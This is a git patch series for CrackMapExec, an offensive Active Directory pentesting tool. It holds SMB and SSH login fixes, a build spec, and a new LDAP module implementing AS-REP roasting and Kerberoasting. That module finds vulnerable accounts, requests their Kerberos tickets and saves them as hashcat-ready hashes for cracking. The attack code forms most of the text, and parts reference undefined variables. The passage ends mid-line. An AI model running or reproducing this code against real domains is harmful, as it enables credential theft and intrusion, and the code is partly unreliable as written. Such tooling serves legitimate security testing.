From b7960003432a024a12616dfb6131e59ccc230be9 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 9 May 2020 09:36:31 -0400 Subject: [PATCH 01/22] Fix issue #321 option --continue-on-success --- cme/protocols/smb.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 78384ab2a..c6b917062 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -276,6 +276,14 @@ def kerberos_login(self, aesKey, kdcHost): '({})'.format(desc) if self.args.verbose else '')) return False + # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 + if self.signing: + try: + self.conn.logoff() + except: + pass + self.create_conn_obj() + def plaintext_login(self, domain, username, password): try: self.conn.login(username, password, domain) @@ -297,6 +305,13 @@ def plaintext_login(self, domain, username, password): self.logger.success(out) if not self.args.continue_on_success: return True + elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 + try: + self.conn.logoff() + except: + pass + self.create_conn_obj() + except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, @@ -342,6 +357,13 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) if not self.args.continue_on_success: return True + # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 + if self.signing: + try: + self.conn.logoff() + except: + pass + self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{} {} {} {}'.format(domain, From 8931ec2300242bb91f8fcf85c6dd2727548d88a3 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 10 May 2020 20:06:08 +0200 Subject: [PATCH 02/22] Add Windows spec file to compile CME for Windows --- .gitignore | 1 + cme/connection.py | 1 - cme/crackmapexec.py | 3 +++ cme/first_run.py | 2 ++ cme/protocols/smb/mmcexec.py | 1 - crackmapexec.spec | 33 +++++++++++++++++++++++++++++++++ 6 files changed, 39 insertions(+), 2 deletions(-) create mode 100644 crackmapexec.spec diff --git a/.gitignore b/.gitignore index d04ba9b27..40a451339 100755 --- a/.gitignore +++ b/.gitignore @@ -33,6 +33,7 @@ var/ # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec +!crackmapexec.spec # Installer logs pip-log.txt diff --git a/cme/connection.py b/cme/connection.py index 62fe533c8..30d98e8b4 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -5,7 +5,6 @@ from gevent.socket import gethostbyname from functools import wraps from cme.logger import CMEAdapter -from cme.context import Context sem = BoundedSemaphore(1) global_failed_logins = 0 diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py index 73855b64b..491af9af7 100755 --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -212,3 +212,6 @@ def main(): if module_server: module_server.shutdown() + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/cme/first_run.py b/cme/first_run.py index 2567499d1..a1cf099eb 100755 --- a/cme/first_run.py +++ b/cme/first_run.py @@ -10,6 +10,8 @@ CME_PATH = os.path.expanduser('~/.cme') TMP_PATH = os.path.join('/tmp', 'cme_hosted') +if os.name == 'nt': + TMP_PATH = os.getenv('LOCALAPPDATA') + '\\Temp\\cme_hosted' WS_PATH = os.path.join(CME_PATH, 'workspaces') CERT_PATH = os.path.join(CME_PATH, 'cme.pem') CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf') diff --git a/cme/protocols/smb/mmcexec.py b/cme/protocols/smb/mmcexec.py index 929c3532c..237867ed9 100644 --- a/cme/protocols/smb/mmcexec.py +++ b/cme/protocols/smb/mmcexec.py @@ -31,7 +31,6 @@ from gevent import sleep from cme.helpers.misc import gen_random_string -from impacket import version from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ VARIANT, VARENUM, DISPATCH_METHOD from impacket.dcerpc.v5.dcomrt import DCOMConnection diff --git a/crackmapexec.spec b/crackmapexec.spec new file mode 100644 index 000000000..16e0ed7b3 --- /dev/null +++ b/crackmapexec.spec @@ -0,0 +1,33 @@ +# -*- mode: python ; coding: utf-8 -*- + +block_cipher = None + + +a = Analysis(['.\\cme\\crackmapexec.py'], + pathex=['.\\cme','.\\cme\\thirdparty\\pywerview'], + binaries=[], + datas=[('.\\cme\\protocols', 'cme\\protocols'),('.\\cme\\thirdparty', 'cme\\thirdparty'),('.\\cme\\data', 'cme\\data')], + hiddenimports=['cme.protocols.mssql.mssqlexec', 'cme.connection', 'impacket.examples.secretsdump', 'impacket.dcerpc.v5.lsat', 'impacket.dcerpc.v5.transport', 'impacket.dcerpc.v5.lsad', 'cme.servers.smb', 'cme.protocols.smb.wmiexec', 'cme.protocols.smb.atexec', 'cme.protocols.smb.smbexec', 'cme.protocols.smb.mmcexec', 'cme.protocols.smb.smbspider', 'cme.protocols.smb.passpol', 'paramiko', 'pypsrp.client', 'pywerview.cli.helpers', 'impacket.tds', 'impacket.version'], + hookspath=[], + runtime_hooks=[], + excludes=[], + win_no_prefer_redirects=False, + win_private_assemblies=False, + cipher=block_cipher, + noarchive=False) +pyz = PYZ(a.pure, a.zipped_data, + cipher=block_cipher) +exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + [], + name='crackmapexec', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + upx_exclude=[], + runtime_tmpdir=None, + console=True ) From fb9d6fbc590f8d94879c0b5f4544ff978ddb7ae7 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 10 May 2020 20:16:34 +0200 Subject: [PATCH 03/22] Fix cme action build --- cme/connection.py | 1 + 1 file changed, 1 insertion(+) diff --git a/cme/connection.py b/cme/connection.py index 30d98e8b4..62fe533c8 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -5,6 +5,7 @@ from gevent.socket import gethostbyname from functools import wraps from cme.logger import CMEAdapter +from cme.context import Context sem = BoundedSemaphore(1) global_failed_logins = 0 From 757881cbcbab3cf4b59f2a9de6e9153350e97d51 Mon Sep 17 00:00:00 2001 From: mpgn Date: Mon, 11 May 2020 13:48:03 -0400 Subject: [PATCH 04/22] Normalize path for pyinstaller linux/windows --- .gitignore | 1 + crackmapexec.spec | 6 +++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index 40a451339..e0e22d407 100755 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,7 @@ data/cme.db # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] +bin/ # C extensions *.so diff --git a/crackmapexec.spec b/crackmapexec.spec index 16e0ed7b3..f5225fa92 100644 --- a/crackmapexec.spec +++ b/crackmapexec.spec @@ -3,10 +3,10 @@ block_cipher = None -a = Analysis(['.\\cme\\crackmapexec.py'], - pathex=['.\\cme','.\\cme\\thirdparty\\pywerview'], +a = Analysis(['./cme/crackmapexec.py'], + pathex=['./cme','./cme/thirdparty/pywerview'], binaries=[], - datas=[('.\\cme\\protocols', 'cme\\protocols'),('.\\cme\\thirdparty', 'cme\\thirdparty'),('.\\cme\\data', 'cme\\data')], + datas=[('./cme/protocols', 'cme/protocols'),('./cme/thirdparty', 'cme/thirdparty'),('./cme/data', 'cme/data')], hiddenimports=['cme.protocols.mssql.mssqlexec', 'cme.connection', 'impacket.examples.secretsdump', 'impacket.dcerpc.v5.lsat', 'impacket.dcerpc.v5.transport', 'impacket.dcerpc.v5.lsad', 'cme.servers.smb', 'cme.protocols.smb.wmiexec', 'cme.protocols.smb.atexec', 'cme.protocols.smb.smbexec', 'cme.protocols.smb.mmcexec', 'cme.protocols.smb.smbspider', 'cme.protocols.smb.passpol', 'paramiko', 'pypsrp.client', 'pywerview.cli.helpers', 'impacket.tds', 'impacket.version'], hookspath=[], runtime_hooks=[], From 4a19d4dc3286a121b1df90429597e3ed1d0256e4 Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Mon, 18 Nov 2019 12:39:17 -0500 Subject: [PATCH 05/22] feat(ssh): Add support for publickey authentication. --- cme/protocols/ssh.py | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/cme/protocols/ssh.py b/cme/protocols/ssh.py index 8d886b17c..3ab1d565c 100644 --- a/cme/protocols/ssh.py +++ b/cme/protocols/ssh.py @@ -13,7 +13,7 @@ class ssh(connection): def proto_args(parser, std_parser, module_parser): ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser]) ssh_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') - #ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key") + ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.") ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") @@ -59,11 +59,16 @@ def check_if_admin(self): def plaintext_login(self, username, password): try: - self.conn.connect(self.host, port=self.args.port, username=username, password=password) - self.check_if_admin() + if self.args.key_file: + passwd = password + password = u'{} (keyfile: {})'.format(passwd, self.args.key_file) + self.conn.connect(self.host, port=self.args.port, username=username, passphrase=passwd, key_filename=self.args.key_file, look_for_keys=False, allow_agent=False) + else: + self.conn.connect(self.host, port=self.args.port, username=username, password=password, look_for_keys=False, allow_agent=False) - self.logger.success(u'{}:{} {}'.format(username, - password, + self.check_if_admin() + self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'), + password.decode('utf-8'), highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) return True From e5d19422517ed3883c161309ed1f6a9d29977367 Mon Sep 17 00:00:00 2001 From: mpgn Date: Fri, 19 Jun 2020 09:20:22 -0400 Subject: [PATCH 06/22] Add kerberoasting and asrepoast attack with LDAP protocol --- cme/cli.py | 4 +- cme/protocols/ldap.py | 583 +++++++++++++++++++++++++++++ cme/protocols/ldap/__init__.py | 0 cme/protocols/ldap/database.py | 19 + cme/protocols/ldap/db_navigator.py | 5 + cme/protocols/smb.py | 2 +- setup.py | 3 +- 7 files changed, 612 insertions(+), 4 deletions(-) create mode 100644 cme/protocols/ldap.py create mode 100644 cme/protocols/ldap/__init__.py create mode 100644 cme/protocols/ldap/database.py create mode 100644 cme/protocols/ldap/db_navigator.py diff --git a/cme/cli.py b/cme/cli.py index 5935bf444..eb8664b7e 100755 --- a/cme/cli.py +++ b/cme/cli.py @@ -48,8 +48,8 @@ def gen_cli_args(): std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames") std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords") std_parser.add_argument("-k", "--kerberos", action='store_true', help="Use Kerberos authentication from ccache file (KRB5CCNAME)") - std_parser.add_argument("--aesKey", action='store_true', help="AES key to use for Kerberos Authentication (128 or 256 bits)") - std_parser.add_argument("--kdcHost", action='store_true', help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + std_parser.add_argument("--aesKey", metavar="AESKEY", nargs='+', help="AES key to use for Kerberos Authentication (128 or 256 bits)") + std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") fail_group = std_parser.add_mutually_exclusive_group() fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts') diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py new file mode 100644 index 000000000..20bff0188 --- /dev/null +++ b/cme/protocols/ldap.py @@ -0,0 +1,583 @@ +# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py + +import requests +import logging +import configparser +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue +from cme.connection import * +from cme.helpers.logger import highlight +from cme.logger import CMEAdapter +from impacket.smbconnection import SMBConnection, SessionError +from impacket.smb import SMB_DIALECT +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION +from impacket.examples import logger +from impacket.krb5 import constants +from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter +from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS +from impacket.krb5.types import KerberosTime, Principal +from impacket.krb5.asn1 import TGS_REP +from impacket.krb5.ccache import CCache +from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldapasn1 as ldapasn1_impacket +from datetime import datetime,timedelta +from io import StringIO +from binascii import hexlify, unhexlify + +class ldap(connection): + + def __init__(self, args, db, host): + self.domain = None + self.server_os = None + self.os_arch = 0 + self.hash = None + self.lmhash = '' + self.nthash = '' + self.baseDN = '' + self.remote_ops = None + self.bootkey = None + self.output_filename = None + self.smbv1 = None + self.signing = False + self.smb_share_name = smb_share_name + + connection.__init__(self, args, db, host) + + @staticmethod + def proto_args(parser, std_parser, module_parser): + ldap_parser = parser.add_parser('ldap', help="own stuff using ldap", parents=[std_parser, module_parser]) + ldap_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') + ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') + ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") + ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)") + dgroup = ldap_parser.add_mutually_exclusive_group() + dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") + dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') + + egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") + egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat") + egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcatcc') + + return parser + + def proto_logger(self): + self.logger = CMEAdapter(extra={ + 'protocol': 'LDAP', + 'host': self.host, + 'port': self.args.port, + 'hostname': self.hostname + }) + + def get_os_arch(self): + try: + stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) + transport = DCERPCTransportFactory(stringBinding) + transport.set_connect_timeout(5) + dce = transport.get_dce_rpc() + if self.args.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.connect() + try: + dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) + except (DCERPCException, e): + if str(e).find('syntaxes_not_supported') >= 0: + dce.disconnect() + return 32 + else: + dce.disconnect() + return 64 + + except Exception as e: + logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e))) + + return 0 + + def enum_host_info(self): + self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] + + try: + self.conn.login('' , '') + except: + #if "STATUS_ACCESS_DENIED" in e: + pass + + self.domain = self.conn.getServerDNSDomainName() + self.hostname = self.conn.getServerName() + self.server_os = self.conn.getServerOS() + self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning'] + self.os_arch = self.get_os_arch() + + self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) + + if not self.domain: + self.domain = self.hostname + + try: + '''plaintext_login + DC's seem to want us to logoff first, windows workstations sometimes reset the connection + (go home Windows, you're drunk) + ''' + self.conn.logoff() + except: + pass + + if self.args.domain: + self.domain = self.args.domain + + if self.args.local_auth: + self.domain = self.hostname + + #Re-connect since we logged off + self.create_conn_obj() + + def print_host_info(self): + self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os, + ' x{}'.format(self.os_arch) if self.os_arch else '', + self.hostname, + self.domain, + self.signing, + self.smbv1)) + + def kerberos_login(self, aesKey, kdcHost): + self.username = username + self.password = password + self.domain = domain + # Create the baseDN + domainParts = self.domain.split('.') + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + if self.kdcHost is not None: + target = self.kdcHost + else: + target = domain + + try: + ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, + self.aesKey, kdcHost=self.kdcHost) + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + except ldap_impacket.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) + ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, + self.aesKey, kdcHost=self.kdcHost) + self.search_as_rep(ldapConnection) + return True + + + def plaintext_login(self, domain, username, password): + self.username = username + self.password = password + self.domain = domain + # Create the baseDN + domainParts = self.domain.split('.') + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + if self.kdcHost is not None: + target = self.kdcHost + else: + target = domain + + if self.kerberos is False and self.password == '' and self.args.asreproast: + self.getTGT_asroast(self.username) + return False + # Connect to LDAP + try: + ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) + ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + except ldap_impacket.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) + ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + if self.args.asreproast: + self.search_as_rep(ldapConnection) + elif self.args.kerberoasting: + self.search_kerberoasting(ldapConnection) + return True + + def create_smbv1_conn(self): + try: + self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) + self.smbv1 = True + except socket.error as e: + if str(e).find('Connection reset by peer') != -1: + logging.debug('SMBv1 might be disabled on {}'.format(self.host)) + return False + except Exception as e: + logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e)) + return False + + return True + + def search_as_rep(self, ldapConnection): + # Building the search filter + searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ + (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) + + try: + logging.debug('Search Filter=%s' % searchFilter) + resp = ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + self.logger.error("Authentication failed") + return False + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = "0x%x" % int(attribute['vals'][0]) + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + if mustCommit is True: + answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.debug('Skipping item, cannot process due to error %s' % str(e)) + pass + if len(answers)>0: + for user in answers: + self.getTGT_asroast(user[0]) + return True + else: + self.logger.error("No entries found!") + + def search_kerberoasting(self, ldapConnection): + # Building the search filter + searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" + + try: + resp = ldapConnection.search(searchFilter=searchFilter, + attributes=['servicePrincipalName', 'sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + self.logger.error("Authentication failed") + return + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + SPNs = [] + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + delegation = '' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = str(attribute['vals'][0]) + if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: + delegation = 'unconstrained' + elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = 'constrained' + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'servicePrincipalName': + for spn in attribute['vals']: + SPNs.append(str(spn)) + + if mustCommit is True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + logging.debug('Bypassing disabled account %s ' % sAMAccountName) + else: + for spn in SPNs: + answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation]) + except Exception as e: + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + if len(answers)>0: + users = dict( (vals[1], vals[0]) for vals in answers) + TGT = self.getTGT_kerberoasting() + for user, SPN in users.items(): + try: + serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.domain, + self.kdcHost, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey']) + self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('SPN: %s - %s' % (SPN,str(e))) + else: + print("No entries found!") + + def create_smbv3_conn(self): + try: + self.conn = SMBConnection(self.host, self.host, None, 445) + self.smbv1 = False + except socket.error: + return False + except Exception as e: + logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) + return False + + return True + + def create_conn_obj(self): + if self.create_smbv1_conn(): + return True + elif self.create_smbv3_conn(): + return True + + return False + + def getUnixTime(self, t): + t -= 116444736000000000 + t /= 10000000 + return t + + def getTGT_asroast(self, userName, requestPAC=True): + + clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + asReq = AS_REQ() + + domain = self.domain.upper() + serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + pacRequest = KERB_PA_PAC_REQUEST() + pacRequest['include-pac'] = requestPAC + encodedPacRequest = encoder.encode(pacRequest) + + asReq['pvno'] = 5 + asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) + + asReq['padata'] = noValue + asReq['padata'][0] = noValue + asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) + asReq['padata'][0]['padata-value'] = encodedPacRequest + + reqBody = seq_set(asReq, 'req-body') + + opts = list() + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + opts.append(constants.KDCOptions.proxiable.value) + reqBody['kdc-options'] = constants.encodeFlags(opts) + + seq_set(reqBody, 'sname', serverName.components_to_asn1) + seq_set(reqBody, 'cname', clientName.components_to_asn1) + + if domain == '': + logger.error('Empty Domain not allowed in Kerberos') + return + + reqBody['realm'] = domain + now = datetime.utcnow() + timedelta(days=1) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['rtime'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + + supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) + + seq_set_iter(reqBody, 'etype', supportedCiphers) + + message = encoder.encode(asReq) + + try: + r = sendReceive(message, domain, self.kdcHost) + except KerberosError as e: + if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + # RC4 not available, OK, let's ask for newer types + supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) + seq_set_iter(reqBody, 'etype', supportedCiphers) + message = encoder.encode(asReq) + r = sendReceive(message, domain, self.kdcHost) + else: + raise e + + # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the + # 'Do not require Kerberos preauthentication' set + try: + asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] + except: + # Most of the times we shouldn't be here, is this a TGT? + asRep = decoder.decode(r, asn1Spec=AS_REP())[0] + else: + # The user doesn't have UF_DONT_REQUIRE_PREAUTH set + logging.debug('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) + return + + # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. + hash_TGT = '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, + hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), + hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) + self.logger.info(u'{}'.format(hash_TGT)) + with open(self.args.asreproast, 'a+') as hash_asreproast: + if self.host not in hash_asreproast.read(): + hash_asreproast.write(hash_TGT + '\n') + return '' + + def getTGT_kerberoasting(self): + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except: + # No cache present + pass + else: + # retrieve user and domain information from CCache file if needed + if self.domain == '': + domain = ccache.principal.realm['data'] + else: + domain = self.__domain + logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug('Using TGT from cache') + return TGT + else: + logging.debug("No valid credentials found in cache. ") + + # No TGT in cache, request it + userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the + # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the + # cleartext password. + # If no clear text password is provided, we just go with the defaults. + if self.password != '' and (self.lmhash == '' and self.nthash == ''): + try: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.domain, + compute_lmhash(self.password), + compute_nthash(self.password), self.aesKey, + kdcHost=self.kdcHost) + except Exception as e: + logging.debug('TGT: %s' % str(e)) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain, + unhexlify(self.lmhash), + unhexlify(self.nthash), self.aesKey, + kdcHost=self.kdcHost) + + else: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain, + unhexlify(self.lmhash), + unhexlify(self.nthash), self.aesKey, + kdcHost=self.kdcHost) + TGT = {} + TGT['KDC_REP'] = tgt + TGT['cipher'] = cipher + TGT['sessionKey'] = sessionKey + + return TGT + + def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): + decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + + # According to RFC4757 (RC4-HMAC) the cipher part is like: + # struct EDATA { + # struct HEADER { + # OCTET Checksum[16]; + # OCTET Confounder[8]; + # } Header; + # OCTET Data[0]; + # } edata; + # + # In short, we're interested in splitting the checksum and the rest of the encrypted data + # + # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) + # last 12 bytes of the encrypted ticket represent the checksum of the decrypted + # ticket + if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: + entry = 